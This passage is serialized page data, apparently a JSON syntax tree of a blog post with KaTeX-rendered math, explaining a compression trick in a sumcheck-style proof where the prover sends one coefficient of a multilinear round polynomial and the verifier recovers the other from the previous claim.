82},[7172,7173,7174,7175],[112484],{"type":24,"tag":930,"props":112485,"children":112487},{"className":112486},[7126,24690,7175],[112488],{"type":30,"value":6854},{"type":24,"tag":930,"props":112490,"children":112492},{"className":112491},[24846],[112493],{"type":30,"value":24849},{"type":24,"tag":930,"props":112495,"children":112497},{"className":112496},[7152],[112498],{"type":24,"tag":930,"props":112499,"children":112501},{"className":112500,"style":96195},[7157],[112502],{"type":24,"tag":930,"props":112503,"children":112504},{},[],{"type":30,"value":112506},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":21995,"props":112508,"children":112510},{"id":112509},"the-compression-trick",[112511],{"type":30,"value":112512},"The Compression Trick",{"type":24,"tag":33,"props":112514,"children":112515},{},[112516,112518,112668,112670,112950],{"type":30,"value":112517},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":156,"props":112519,"children":112521},{"className":112520},[7098,7099],[112522],{"type":24,"tag":930,"props":112523,"children":112525},{"className":112524},[7104],[112526],{"type":24,"tag":930,"props":112527,"children":112529},{"className":112528,"ariaHidden":7110},[7109],[112530,112623,112650],{"type":24,"tag":930,"props":112531,"children":112533},{"className":112532},[7115],[112534,112538,112595,112600,112605,112610,112614,112619],{"type":24,"tag":930,"props":112535,"children":112537},{"className":112536,"style":7227},[7120],[],{"type":24,"tag":930,"props":112539,"children":112541},{"className":112540},[7126],[112542,112547],{"type":24,"tag":930,"props":112543,"children":112545},{"className":112544,"style":96598},[7126,24690],[112546],{"type":30,"value":111726},{"type":24,"tag":930,"props":112548,"children":112550},{"className":112549},[7142],[112551],{"type":24,"tag":930,"props":112552,"children":112554},{"className":112553},[7147,24743],[112555,112584],{"type":24,"tag":930,"props":112556,"children":112558},{"className":112557},[7152],[112559,112579],{"type":24,"tag":930,"props":112560,"children":112562},{"className":112561,"style":96641},[7157],[112563],{"type":24,"tag":930,"props":112564,"children":112565},{"style":96645},[112566,112570],{"type":24,"tag":930,"props":112567,"children":112569},{"className":112568,"style":7167},[7166],[],{"type":24,"tag":930,"props":112571,"children":112573},{"className":112572},[7172,7173,7174,7175],[112574],{"type":24,"tag":930,"props":112575,"children":112577},{"className":112576},[7126,24690,7175],[112578],{"type":30,"value":6854},{"type":24,"tag":930,"props":112580,"children":112582},{"className":112581},[24846],[112583],{"type":30,"value":24849},{"type":24,"tag":930,"props":112585,"children":112587},{"className":112586},[7152],[112588],{"type":24,"tag":930,"props":112589,"children":112591},{"className":112590,"style":96195},[7157],[112592],{"type":24,"tag":930,"props":112593,"children":112594},{},[],{"type":24,"tag":930,"props":112596,"children":112598},{"className":112597},[24818],[112599],{"type":30,"value":1010},{"type":24,"tag":930,"props":112601,"children":112603},{"className":112602,"style":98132},[7126,24690],[112604],{"type":30,"value":9246},{"type":24,"tag":930,"props":112606,"children":112608},{"className":112607},[24840],[112609],{"type":30,"value":6249},{"type":24,"tag":930,"props":112611,"children":112613},{"className":112612,"style":7304},[7206],[],{"type":24,"tag":930,"props":112615,"children":112617},{"className":112616},[7309],[112618],{"type":30,"value":1161},{"type":24,"tag":930,"props":112620,"children":112622},{"className":112621,"style":7304},[7206],[],{"type":24,"tag":930,"props":112624,"children":112626},{"className":112625},[7115],[112627,112632,112637,112641,112646],{"type":24,"tag":930,"props":112628,"children":112631},{"className":112629,"style":112630},[7120],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":112633,"children":112635},{"className":112634},[7126,24690],[112636],{"type":30,"value":37},{"type":24,"tag":930,"props":112638,"children":112640},{"className":112639,"style":7207},[7206],[],{"type":24,"tag":930,"props":112642,"children":112644},{"className":112643},[7212],[112645],{"type":30,"value":1400},{"type":24,"tag":930,"props":112647,"children":112649},{"className":112648,"style":7207},[7206],[],{"type":24,"tag":930,"props":112651,"children":112653},{"className":112652},[7115],[112654,112658,112663],{"type":24,"tag":930,"props":112655,"children":112657},{"className":112656,"style":96027},[7120],[],{"type":24,"tag":930,"props":112659,"children":112661},{"className":112660},[7126,24690],[112662],{"type":30,"value":6343},{"type":24,"tag":930,"props":112664,"children":112666},{"className":112665,"style":98132},[7126,24690],[112667],{"type":30,"value":9246},{"type":30,"value":112669}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":156,"props":112671,"children":112673},{"className":112672},[7098,7099],[112674],{"type":24,"tag":930,"props":112675,"children":112677},{"className":112676},[7104],[112678],{"type":24,"tag":930,"props":112679,"children":112681},{"className":112680,"ariaHidden":7110},[7109],[112682,112775,112868],{"type":24,"tag":930,"props":112683,"children":112685},{"className":112684},[7115],[112686,112690,112747,112752,112757,112762,112766,112771],{"type":24,"tag":930,"props":112687,"children":112689},{"className":112688,"style":7227},[7120],[],{"type":24,"tag":930,"props":112691,"children":112693},{"className":112692},[7126],[112694,112699],{"type":24,"tag":930,"props":112695,"children":112697},{"className":112696,"style":96598},[7126,24690],[112698],{"type":30,"value":111726},{"type":24,"tag":930,"props":112700,"children":112702},{"className":112701},[7142],[112703],{"type":24,"tag":930,"props":112704,"children":112706},{"className":112705},[7147,24743],[112707,112736],{"type":24,"tag":930,"props":112708,"children":112710},{"className":112709},[7152],[112711,112731],{"type":24,"tag":930,"props":112712,"children":112714},{"className":112713,"style":96641},[7157],[112715],{"type":24,"tag":930,"props":112716,"children":112717},{"style":96645},[112718,112722],{"type":24,"tag":930,"props":112719,"children":112721},{"className":112720,"style":7167},[7166],[],{"type":24,"tag":930,"props":112723,"children":112725},{"className":112724},[7172,7173,7174,7175],[112726],{"type":24,"tag":930,"props":112727,"children":112729},{"className":112728},[7126,24690,7175],[112730],{"type":30,"value":6854},{"type":24,"tag":930,"props":112732,"children":112734},{"className":112733},[24846],[112735],{"type":30,"value":24849},{"type":24,"tag":930,"props":112737,"children":112739},{"className":112738},[7152],[112740],{"type":24,"tag":930,"props":112741,"children":112743},{"className":112742,"style":96195},[7157],[112744],{"type":24,"tag":930,"props":112745,"children":112746},{},[],{"type":24,"tag":930,"props":112748,"children":112750},{"className":112749},[24818],[112751],{"type":30,"value":1010},{"type":24,"tag":930,"props":112753,"children":112755},{"className":112754},[7126],[112756],{"type":30,"value":1818},{"type":24,"tag":930,"props":112758,"children":112760},{"className":112759},[24840],[112761],{"type":30,"value":6249},{"type":24,"tag":930,"props":112763,"children":112765},{"className":112764,"style":7207},[7206],[],{"type":24,"tag":930,"props":112767,"children":112769},{"className":112768},[7212],[112770],{"type":30,"value":1400},{"type":24,"tag":930,"props":112772,"children":112774},{"className":112773,"style":7207},[7206],[],{"type":24,"tag":930,"props":112776,"children":112778},{"className":112777},[7115],[112779,112783,112840,112845,112850,112855,112859,112864],{"type":24,"tag":930,"props":112780,"children":112782},{"className":112781,"style":7227},[7120],[],{"type":24,"tag":930,"props":112784,"children":112786},{"className":112785},[7126],[112787,112792],{"type":24,"tag":930,"props":112788,"children":112790},{"className":112789,"style":96598},[7126,24690],[112791],{"type":30,"value":111726},{"type":24,"tag":930,"props":112793,"children":112795},{"className":112794},[7142],[112796],{"type":24,"tag":930,"props":112797,"children":112799},{"className":112798},[7147,24743],[112800,112829],{"type":24,"tag":930,"props":112801,"children":112803},{"className":112802},[7152],[112804,112824],{"type":24,"tag":930,"props":112805,"children":112807},{"className":112806,"style":96641},[7157],[112808],{"type":24,"tag":930,"props":112809,"children":112810},{"style":96645},[112811,112815],{"type":24,"tag":930,"props":112812,"children":112814},{"className":112813,"style":7167},[7166],[],{"type":24,"tag":930,"props":112816,"children":112818},{"className":112817},[7172,7173,7174,7175],[112819],{"type":24,"tag":930,"props":112820,"children":112822},{"className":112821},[7126,24690,7175],[112823],{"type":30,"value":6854},{"type":24,"tag":930,"props":112825,"children":112827},{"className":112826},[24846],[112828],{"type":30,"value":24849},{"type":24,"tag":930,"props":112830,"children":112832},{"className":112831},[7152],[112833],{"type":24,"tag":930,"props":112834,"children":112836},{"className":112835,"style":96195},[7157],[112837],{"type":24,"tag":930,"props":112838,"children":112839},{},[],{"type":24,"tag":930,"props":112841,"children":112843},{"className":112842},[24818],[112844],{"type":30,"value":1010},{"type":24,"tag":930,"props":112846,"children":112848},{"className":112847},[7126],[112849],{"type":30,"value":7129},{"type":24,"tag":930,"props":112851,"children":112853},{"className":112852},[24840],[112854],{"type":30,"value":6249},{"type":24,"tag":930,"props":112856,"children":112858},{"className":112857,"style":7304},[7206],[],{"type":24,"tag":930,"props":112860,"children":112862},{"className":112861},[7309],[112863],{"type":30,"value":1161},{"type":24,"tag":930,"props":112865,"children":112867},{"className":112866,"style":7304},[7206],[],{"type":24,"tag":930,"props":112869,"children":112871},{"className":112870},[7115],[112872,112877],{"type":24,"tag":930,"props":112873,"children":112876},{"className":112874,"style":112875},[7120],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":930,"props":112878,"children":112880},{"className":112879},[7126],[112881,112886],{"type":24,"tag":930,"props":112882,"children":112884},{"className":112883,"style":96346},[7126,24690],[112885],{"type":30,"value":96349},{"type":24,"tag":930,"props":112887,"children":112889},{"className":112888},[7142],[112890],{"type":24,"tag":930,"props":112891,"children":112893},{"className":112892},[7147,24743],[112894,112938],{"type":24,"tag":930,"props":112895,"children":112897},{"className":112896},[7152],[112898,112933],{"type":24,"tag":930,"props":112899,"children":112901},{"className":112900,"style":96641},[7157],[112902],{"type":24,"tag":930,"props":112903,"children":112905},{"style":112904},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112906,112910],{"type":24,"tag":930,"props":112907,"children":112909},{"className":112908,"style":7167},[7166],[],{"type":24,"tag":930,"props":112911,"children":112913},{"className":112912},[7172,7173,7174,7175],[112914],{"type":24,"tag":930,"props":112915,"children":112917},{"className":112916},[7126,7175],[112918,112923,112928],{"type":24,"tag":930,"props":112919,"children":112921},{"className":112920},[7126,24690,7175],[112922],{"type":30,"value":6854},{"type":24,"tag":930,"props":112924,"children":112926},{"className":112925},[7212,7175],[112927],{"type":30,"value":7186},{"type":24,"tag":930,"props":112929,"children":112931},{"className":112930},[7126,7175],[112932],{"type":30,"value":7129},{"type":24,"tag":930,"props":112934,"children":112936},{"className":112935},[24846],[112937],{"type":30,"value":24849},{"type":24,"tag":930,"props":112939,"children":112941},{"className":112940},[7152],[112942],{"type":24,"tag":930,"props":112943,"children":112946},{"className":112944,"style":112945},[7157],"height:0.2083em;",[112947],{"type":24,"tag":930,"props":112948,"children":112949},{},[],{"type":30,"value":112951}," (the previous claim), we have:",{"type":24,"tag":33,"props":112953,"children":112954},{},[112955],{"type":24,"tag":156,"props":112956,"children":112958},{"className":112957},[7098,7099],[112959],{"type":24,"tag":930,"props":112960,"children":112962},{"className":112961},[7104],[112963],{"type":24,"tag":930,"props":112964,"children":112966},{"className":112965,"ariaHidden":7110},[7109],[112967,112993,113024,113055,113156,113182,113274],{"type":24,"tag":930,"props":112968,"children":112970},{"className":112969},[7115],[112971,112975,112980,112984,112989],{"type":24,"tag":930,"props":112972,"children":112974},{"className":112973,"style":112630},[7120],[],{"type":24,"tag":930,"props":112976,"children":112978},{"className":112977},[7126,24690],[112979],{"type":30,"value":37},{"type":24,"tag":930,"props":112981,"children":112983},{"className":112982,"style":7207},[7206],[],{"type":24,"tag":930,"props":112985,"children":112987},{"className":112986},[7212],[112988],{"type":30,"value":1400},{"type":24,"tag":930,"props":112990,"children":112992},{"className":112991,"style":7207},[7206],[],{"type":24,"tag":930,"props":112994,"children":112996},{"className":112995},[7115],[112997,113001,113006,113011,113015,113020],{"type":24,"tag":930,"props":112998,"children":113000},{"className":112999,"style":7227},[7120],[],{"type":24,"tag":930,"props":113002,"children":113004},{"className":113003},[24818],[113005],{"type":30,"value":1010},{"type":24,"tag":930,"props":113007,"children":113009},{"className":113008},[7126,24690],[113010],{"type":30,"value":37},{"type":24,"tag":930,"props":113012,"children":113014},{"className":113013,"style":7207},[7206],[],{"type":24,"tag":930,"props":113016,"children":113018},{"className":113017},[7212],[113019],{"type":30,"value":1400},{"type":24,"tag":930,"props":113021,"children":113023},{"className":113022,"style":7207},[7206],[],{"type":24,"tag":930,"props":113025,"children":113027},{"className":113026},[7115],[113028,113032,113037,113042,113046,113051],{"type":24,"tag":930,"props":113029,"children":113031},{"className":113030,"style":7227},[7120],[],{"type":24,"tag":930,"props":113033,"children":113035},{"className":113034},[7126,24690],[113036],{"type":30,"value":6343},{"type":24,"tag":930,"props":113038,"children":113040},{"className":113039},[24840],[113041],{"type":30,"value":6249},{"type":24,"tag":930,"props":113043,"children":113045},{"className":113044,"style":7304},[7206],[],{"type":24,"tag":930,"props":113047,"children":113049},{"className":113048},[7309],[113050],{"type":30,"value":1161},{"type":24,"tag":930,"props":113052,"children":113054},{"className":113053,"style":7304},[7206],[],{"type":24,"tag":930,"props":113056,"children":113058},{"className":113057},[7115],[113059,113063,113134,113138,113142,113148,113152],{"type":24,"tag":930,"props":113060,"children":113062},{"className":113061,"style":112875},[7120],[],{"type":24,"tag":930,"props":113064,"children":113066},{"className":113065},[7126],[113067,113072],{"type":24,"tag":930,"props":113068,"children":113070},{"className":113069,"style":96346},[7126,24690],[113071],{"type":30,"value":96349},{"type":24,"tag":930,"props":113073,"children":113075},{"className":113074},[7142],[113076],{"type":24,"tag":930,"props":113077,"children":113079},{"className":113078},[7147,24743],[113080,113123],{"type":24,"tag":930,"props":113081,"children":113083},{"className":113082},[7152],[113084,113118],{"type":24,"tag":930,"props":113085,"children":113087},{"className":113086,"style":96641},[7157],[113088],{"type":24,"tag":930,"props":113089,"children":113090},{"style":112904},[113091,113095],{"type":24,"tag":930,"props":113092,"children":113094},{"className":113093,"style":7167},[7166],[],{"type":24,"tag":930,"props":113096,"children":113098},{"className":113097},[7172,7173,7174,7175],[113099],{"type":24,"tag":930,"props":113100,"children":113102},{"className":113101},[7126,7175],[113103,113108,113113],{"type":24,"tag":930,"props":113104,"children":113106},{"className":113105},[7126,24690,7175],[113107],{"type":30,"value":6854},{"type":24,"tag":930,"props":113109,"children":113111},{"className":113110},[7212,7175],[113112],{"type":30,"value":7186},{"type":24,"tag":930,"props":113114,"children":113116},{"className":113115},[7126,7175],[113117],{"type":30,"value":7129},{"type":24,"tag":930,"props":113119,"children":113121},{"className":113120},[24846],[113122],{"type":30,"value":24849},{"type":24,"tag":930,"props":113124,"children":113126},{"className":113125},[7152],[113127],{"type":24,"tag":930,"props":113128,"children":113130},{"className":113129,"style":112945},[7157],[113131],{"type":24,"tag":930,"props":113132,"children":113133},{},[],{"type":24,"tag":930,"props":113135,"children":113137},{"className":113136,"style":7304},[7206],[],{"type":24,"tag":930,"props":113139,"children":113141},{"className":113140,"style":7304},[7206],[],{"type":24,"tag":930,"props":113143,"children":113145},{"className":113144},[7309],[113146],{"type":30,"value":113147},"⟹",{"type":24,"tag":930,"props":113149,"children":113151},{"className":113150,"style":7304},[7206],[],{"type":24,"tag":930,"props":113153,"children":113155},{"className":113154,"style":7304},[7206],[],{"type":24,"tag":930,"props":113157,"children":113159},{"className":113158},[7115],[113160,113164,113169,113173,113178],{"type":24,"tag":930,"props":113161,"children":113163},{"className":113162,"style":96027},[7120],[],{"type":24,"tag":930,"props":113165,"children":113167},{"className":113166},[7126,24690],[113168],{"type":30,"value":6343},{"type":24,"tag":930,"props":113170,"children":113172},{"className":113171,"style":7304},[7206],[],{"type":24,"tag":930,"props":113174,"children":113176},{"className":113175},[7309],[113177],{"type":30,"value":1161},{"type":24,"tag":930,"props":113179,"children":113181},{"className":113180,"style":7304},[7206],[],{"type":24,"tag":930,"props":113183,"children":113185},{"className":113184},[7115],[113186,113190,113261,113265,113270],{"type":24,"tag":930,"props":113187,"children":113189},{"className":113188,"style":112875},[7120],[],{"type":24,"tag":930,"props":113191,"children":113193},{"className":113192},[7126],[113194,113199],{"type":24,"tag":930,"props":113195,"children":113197},{"className":113196,"style":96346},[7126,24690],[113198],{"type":30,"value":96349},{"type":24,"tag":930,"props":113200,"children":113202},{"className":113201},[7142],[113203],{"type":24,"tag":930,"props":113204,"children":113206},{"className":113205},[7147,24743],[113207,113250],{"type":24,"tag":930,"props":113208,"children":113210},{"className":113209},[7152],[113211,113245],{"type":24,"tag":930,"props":113212,"children":113214},{"className":113213,"style":96641},[7157],[113215],{"type":24,"tag":930,"props":113216,"children":113217},{"style":112904},[113218,113222],{"type":24,"tag":930,"props":113219,"children":113221},{"className":113220,"style":7167},[7166],[],{"type":24,"tag":930,"props":113223,"children":113225},{"className":113224},[7172,7173,7174,7175],[113226],{"type":24,"tag":930,"props":113227,"children":113229},{"className":113228},[7126,7175],[113230,113235,113240],{"type":24,"tag":930,"props":113231,"children":113233},{"className":113232},[7126,24690,7175],[113234],{"type":30,"value":6854},{"type":24,"tag":930,"props":113236,"children":113238},{"className":113237},[7212,7175],[113239],{"type":30,"value":7186},{"type":24,"tag":930,"props":113241,"children":113243},{"className":113242},[7126,7175],[113244],{"type":30,"value":7129},{"type":24,"tag":930,"props":113246,"children":113248},{"className":113247},[24846],[113249],{"type":30,"value":24849},{"type":24,"tag":930,"props":113251,"children":113253},{"className":113252},[7152],[113254],{"type":24,"tag":930,"props":113255,"children":113257},{"className":113256,"style":112945},[7157],[113258],{"type":24,"tag":930,"props":113259,"children":113260},{},[],{"type":24,"tag":930,"props":113262,"children":113264},{"className":113263,"style":7207},[7206],[],{"type":24,"tag":930,"props":113266,"children":113268},{"className":113267},[7212],[113269],{"type":30,"value":7186},{"type":24,"tag":930,"props":113271,"children":113273},{"className":113272,"style":7207},[7206],[],{"type":24,"tag":930,"props":113275,"children":113277},{"className":113276},[7115],[113278,113282,113287],{"type":24,"tag":930,"props":113279,"children":113281},{"className":113280,"style":97143},[7120],[],{"type":24,"tag":930,"props":113283,"children":113285},{"className":113284},[7126],[113286],{"type":30,"value":6244},{"type":24,"tag":930,"props":113288,"children":113290},{"className":113289},[7126,24690],[113291],{"type":30,"value":37},{"type":24,"tag":33,"props":113293,"children":113294},{},[113295,113297,113416,113418,113443],{"type":30,"value":113296},"So the prover only sends ",{"type":24,"tag":156,"props":113298,"children":113300},{"className":113299},[7098,7099],[113301],{"type":24,"tag":930,"props":113302,"children":113304},{"className":113303},[7104],[113305],{"type":24,"tag":930,"props":113306,"children":113308},{"className":113307,"ariaHidden":7110},[7109],[113309,113336],{"type":24,"tag":930,"props":113310,"children":113312},{"className":113311},[7115],[113313,113318,113323,113327,113332],{"type":24,"tag":930,"props":113314,"children":113317},{"className":113315,"style":113316},[7120],"height:0.4306em;",[],{"type":24,"tag":930,"props":113319,"children":113321},{"className":113320},[7126,24690],[113322],{"type":30,"value":37},{"type":24,"tag":930,"props":113324,"children":113326},{"className":113325,"style":7304},[7206],[],{"type":24,"tag":930,"props":113328,"children":113330},{"className":113329},[7309],[113331],{"type":30,"value":1161},{"type":24,"tag":930,"props":113333,"children":113335},{"className":113334,"style":7304},[7206],[],{"type":24,"tag":930,"props":113337,"children":113339},{"className":113338},[7115],[113340,113344,113401,113406,113411],{"type":24,"tag":930,"props":113341,"children":113343},{"className":113342,"style":7227},[7120],[],{"type":24,"tag":930,"props":113345,"children":113347},{"className":113346},[7126],[113348,113353],{"type":24,"tag":930,"props":113349,"children":113351},{"className":113350,"style":96598},[7126,24690],[113352],{"type":30,"value":111726},{"type":24,"tag":930,"props":113354,"children":113356},{"className":113355},[7142],[113357],{"type":24,"tag":930,"props":113358,"children":113360},{"className":113359},[7147,24743],[113361,113390],{"type":24,"tag":930,"props":113362,"children":113364},{"className":113363},[7152],[113365,113385],{"type":24,"tag":930,"props":113366,"children":113368},{"className":113367,"style":96641},[7157],[113369],{"type":24,"tag":930,"props":113370,"children":113371},{"style":96645},[113372,113376],{"type":24,"tag":930,"props":113373,"children":113375},{"className":113374,"style":7167},[7166],[],{"type":24,"tag":930,"props":113377,"children":113379},{"className":113378},[7172,7173,7174,7175],[113380],{"type":24,"tag":930,"props":113381,"children":113383},{"className":113382},[7126,24690,7175],[113384],{"type":30,"value":6854},{"type":24,"tag":930,"props":113386,"children":113388},{"className":113387},[24846],[113389],{"type":30,"value":24849},{"type":24,"tag":930,"props":113391,"children":113393},{"className":113392},[7152],[113394],{"type":24,"tag":930,"props":113395,"children":113397},{"className":113396,"style":96195},[7157],[113398],{"type":24,"tag":930,"props":113399,"children":113400},{},[],{"type":24,"tag":930,"props":113402,"children":113404},{"className":113403},[24818],[113405],{"type":30,"value":1010},{"type":24,"tag":930,"props":113407,"children":113409},{"className":113408},[7126],[113410],{"type":30,"value":1818},{"type":24,"tag":930,"props":113412,"children":113414},{"className":113413},[24840],[113415],{"type":30,"value":6249},{"type":30,"value":113417},", and the verifier recovers ",{"type":24,"tag":156,"props":113419,"children":113421},{"className":113420},[7098,7099],[113422],{"type":24,"tag":930,"props":113423,"children":113425},{"className":113424},[7104],[113426],{"type":24,"tag":930,"props":113427,"children":113429},{"className":113428,"ariaHidden":7110},[7109],[113430],{"type":24,"tag":930,"props":113431,"children":113433},{"className":113432},[7115],[113434,113438],{"type":24,"tag":930,"props":113435,"children":113437},{"className":113436,"style":96027},[7120],[],{"type":24,"tag":930,"props":113439,"children":113441},{"className":113440},[7126,24690],[113442],{"type":30,"value":6343},{"type":30,"value":113444},". This saves 50% on communication costs.",{"type":24,"tag":33,"props":113446,"children":113447},{},[113448],{"type":30,"value":113449},"The next claim in the chain is",{"type":24,"tag":33,"props":113451,"children":113452},{},[113453],{"type":24,"tag":156,"props":113454,"children":113456},{"className":113455},[7098,7099],[113457],{"type":24,"tag":930,"props":113458,"children":113460},{"className":113459},[7104],[113461],{"type":24,"tag":930,"props":113462,"children":113464},{"className":113463,"ariaHidden":7110},[7109],[113465,113544,113689,113715,113742,113820,113846,113943,113979,114057,114093,114181,114273],{"type":24,"tag":930,"props":113466,"children":113468},{"className":113467},[7115],[113469,113474,113531,113535,113540],{"type":24,"tag":930,"props":113470,"children":113473},{"className":113471,"style":113472},[7120],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":113475,"children":113477},{"className":113476},[7126],[113478,113483],{"type":24,"tag":930,"props":113479,"children":113481},{"className":113480,"style":96346},[7126,24690],[113482],{"type":30,"value":96349},{"type":24,"tag":930,"props":113484,"children":113486},{"className":113485},[7142],[113487],{"type":24,"tag":930,"props":113488,"children":113490},{"className":113489},[7147,24743],[113491,113520],{"type":24,"tag":930,"props":113492,"children":113494},{"className":113493},[7152],[113495,113515],{"type":24,"tag":930,"props":113496,"children":113498},{"className":113497,"style":96641},[7157],[113499],{"type":24,"tag":930,"props":113500,"children":113501},{"style":112904},[113502,113506],{"type":24,"tag":930,"props":113503,"children":113505},{"className":113504,"style":7167},[7166],[],{"type":24,"tag":930,"props":113507,"children":113509},{"className":113508},[7172,7173,7174,7175],[113510],{"type":24,"tag":930,"props":113511,"children":113513},{"className":113512},[7126,24690,7175],[113514],{"type":30,"value":6854},{"type":24,"tag":930,"props":113516,"children":113518},{"className":113517},[24846],[113519],{"type":30,"value":24849},{"type":24,"tag":930,"props":113521,"children":113523},{"className":113522},[7152],[113524],{"type":24,"tag":930,"props":113525,"children":113527},{"className":113526,"style":96195},[7157],[113528],{"type":24,"tag":930,"props":113529,"children":113530},{},[],{"type":24,"tag":930,"props":113532,"children":113534},{"className":113533,"style":7304},[7206],[],{"type":24,"tag":930,"props":113536,"children":113538},{"className":113537},[7309],[113539],{"type":30,"value":1161},{"type":24,"tag":930,"props":113541,"children":113543},{"className":113542,"style":7304},[7206],[],{"type":24,"tag":930,"props":113545,"children":113547},{"className":113546},[7115],[113548,113552,113609,113614,113671,113676,113680,113685],{"type":24,"tag":930,"props":113549,"children":113551},{"className":113550,"style":7227},[7120],[],{"type":24,"tag":930,"props":113553,"children":113555},{"className":113554},[7126],[113556,113561],{"type":24,"tag":930,"props":113557,"children":113559},{"className":113558,"style":96598},[7126,24690],[113560],{"type":30,"value":111726},{"type":24,"tag":930,"props":113562,"children":113564},{"className":113563},[7142],[113565],{"type":24,"tag":930,"props":113566,"children":113568},{"className":113567},[7147,24743],[113569,113598],{"type":24,"tag":930,"props":113570,"children":113572},{"className":113571},[7152],[113573,113593],{"type":24,"tag":930,"props":113574,"children":113576},{"className":113575,"style":96641},[7157],[113577],{"type":24,"tag":930,"props":113578,"children":113579},{"style":96645},[113580,113584],{"type":24,"tag":930,"props":113581,"children":113583},{"className":113582,"style":7167},[7166],[],{"type":24,"tag":930,"props":113585,"children":113587},{"className":113586},[7172,7173,7174,7175],[113588],{"type":24,"tag":930,"props":113589,"children":113591},{"className":113590},[7126,24690,7175],[113592],{"type":30,"value":6854},{"type":24,"tag":930,"props":113594,"children":113596},{"className":113595},[24846],[113597],{"type":30,"value":24849},{"type":24,"tag":930,"props":113599,"children":113601},{"className":113600},[7152],[113602],{"type":24,"tag":930,"props":113603,"children":113605},{"className":113604,"style":96195},[7157],[113606],{"type":24,"tag":930,"props":113607,"children":113608},{},[],{"type":24,"tag":930,"props":113610,"children":113612},{"className":113611},[24818],[113613],{"type":30,"value":1010},{"type":24,"tag":930,"props":113615,"children":113617},{"className":113616},[7126],[113618,113623],{"type":24,"tag":930,"props":113619,"children":113621},{"className":113620,"style":96112},[7126,24690],[113622],{"type":30,"value":96931},{"type":24,"tag":930,"props":113624,"children":113626},{"className":113625},[7142],[113627],{"type":24,"tag":930,"props":113628,"children":113630},{"className":113629},[7147,24743],[113631,113660],{"type":24,"tag":930,"props":113632,"children":113634},{"className":113633},[7152],[113635,113655],{"type":24,"tag":930,"props":113636,"children":113638},{"className":113637,"style":96641},[7157],[113639],{"type":24,"tag":930,"props":113640,"children":113641},{"style":112474},[113642,113646],{"type":24,"tag":930,"props":113643,"children":113645},{"className":113644,"style":7167},[7166],[],{"type":24,"tag":930,"props":113647,"children":113649},{"className":113648},[7172,7173,7174,7175],[113650],{"type":24,"tag":930,"props":113651,"children":113653},{"className":113652},[7126,24690,7175],[113654],{"type":30,"value":6854},{"type":24,"tag":930,"props":113656,"children":113658},{"className":113657},[24846],[113659],{"type":30,"value":24849},{"type":24,"tag":930,"props":113661,"children":113663},{"className":113662},[7152],[113664],{"type":24,"tag":930,"props":113665,"children":113667},{"className":113666,"style":96195},[7157],[113668],{"type":24,"tag":930,"props":113669,"children":113670},{},[],{"type":24,"tag":930,"props":113672,"children":113674},{"className":113673},[24840],[113675],{"type":30,"value":6249},{"type":24,"tag":930,"props":113677,"children":113679},{"className":113678,"style":7304},[7206],[],{"type":24,"tag":930,"props":113681,"children":113683},{"className":113682},[7309],[113684],{"type":30,"value":1161},{"type":24,"tag":930,"props":113686,"children":113688},{"className":113687,"style":7304},[7206],[],{"type":24,"tag":930,"props":113690,"children":113692},{"className":113691},[7115],[113693,113697,113702,113706,113711],{"type":24,"tag":930,"props":113694,"children":113696},{"className":113695,"style":112630},[7120],[],{"type":24,"tag":930,"props":113698,"children":113700},{"className":113699},[7126,24690],[113701],{"type":30,"value":37},{"type":24,"tag":930,"props":113703,"children":113705},{"className":113704,"style":7207},[7206],[],{"type":24,"tag":930,"props":113707,"children":113709},{"className":113708},[7212],[113710],{"type":30,"value":1400},{"type":24,"tag":930,"props":113712,"children":113714},{"className":113713,"style":7207},[7206],[],{"type":24,"tag":930,"props":113716,"children":113718},{"className":113717},[7115],[113719,113723,113728,113732,113738],{"type":24,"tag":930,"props":113720,"children":113722},{"className":113721,"style":96027},[7120],[],{"type":24,"tag":930,"props":113724,"children":113726},{"className":113725},[7126,24690],[113727],{"type":30,"value":6343},{"type":24,"tag":930,"props":113729,"children":113731},{"className":113730,"style":7207},[7206],[],{"type":24,"tag":930,"props":113733,"children":113735},{"className":113734},[7212],[113736],{"type":30,"value":113737},"⋅",{"type":24,"tag":930,"props":113739,"children":113741},{"className":113740,"style":7207},[7206],[],{"type":24,"tag":930,"props":113743,"children":113745},{"className":113744},[7115],[113746,113750,113807,113811,113816],{"type":24,"tag":930,"props":113747,"children":113749},{"className":113748,"style":112445},[7120],[],{"type":24,"tag":930,"props":113751,"children":113753},{"className":113752},[7126],[113754,113759],{"type":24,"tag":930,"props":113755,"children":113757},{"className":113756,"style":96112},[7126,24690],[113758],{"type":30,"value":96931},{"type":24,"tag":930,"props":113760,"children":113762},{"className":113761},[7142],[113763],{"type":24,"tag":930,"props":113764,"children":113766},{"className":113765},[7147,24743],[113767,113796],{"type":24,"tag":930,"props":113768,"children":113770},{"className":113769},[7152],[113771,113791],{"type":24,"tag":930,"props":113772,"children":113774},{"className":113773,"style":96641},[7157],[113775],{"type":24,"tag":930,"props":113776,"children":113777},{"style":112474},[113778,113782],{"type":24,"tag":930,"props":113779,"children":113781},{"className":113780,"style":7167},[7166],[],{"type":24,"tag":930,"props":113783,"children":113785},{"className":113784},[7172,7173,7174,7175],[113786],{"type":24,"tag":930,"props":113787,"children":113789},{"className":113788},[7126,24690,7175],[113790],{"type":30,"value":6854},{"type":24,"tag":930,"props":113792,"children":113794},{"className":113793},[24846],[113795],{"type":30,"value":24849},{"type":24,"tag":930,"props":113797,"children":113799},{"className":113798},[7152],[113800],{"type":24,"tag":930,"props":113801,"children":113803},{"className":113802,"style":96195},[7157],[113804],{"type":24,"tag":930,"props":113805,"children":113806},{},[],{"type":24,"tag":930,"props":113808,"children":113810},{"className":113809,"style":7304},[7206],[],{"type":24,"tag":930,"props":113812,"children":113814},{"className":113813},[7309],[113815],{"type":30,"value":1161},{"type":24,"tag":930,"props":113817,"children":113819},{"className":113818,"style":7304},[7206],[],{"type":24,"tag":930,"props":113821,"children":113823},{"className":113822},[7115],[113824,113828,113833,113837,113842],{"type":24,"tag":930,"props":113825,"children":113827},{"className":113826,"style":112630},[7120],[],{"type":24,"tag":930,"props":113829,"children":113831},{"className":113830},[7126,24690],[113832],{"type":30,"value":37},{"type":24,"tag":930,"props":113834,"children":113836},{"className":113835,"style":7207},[7206],[],{"type":24,"tag":930,"pro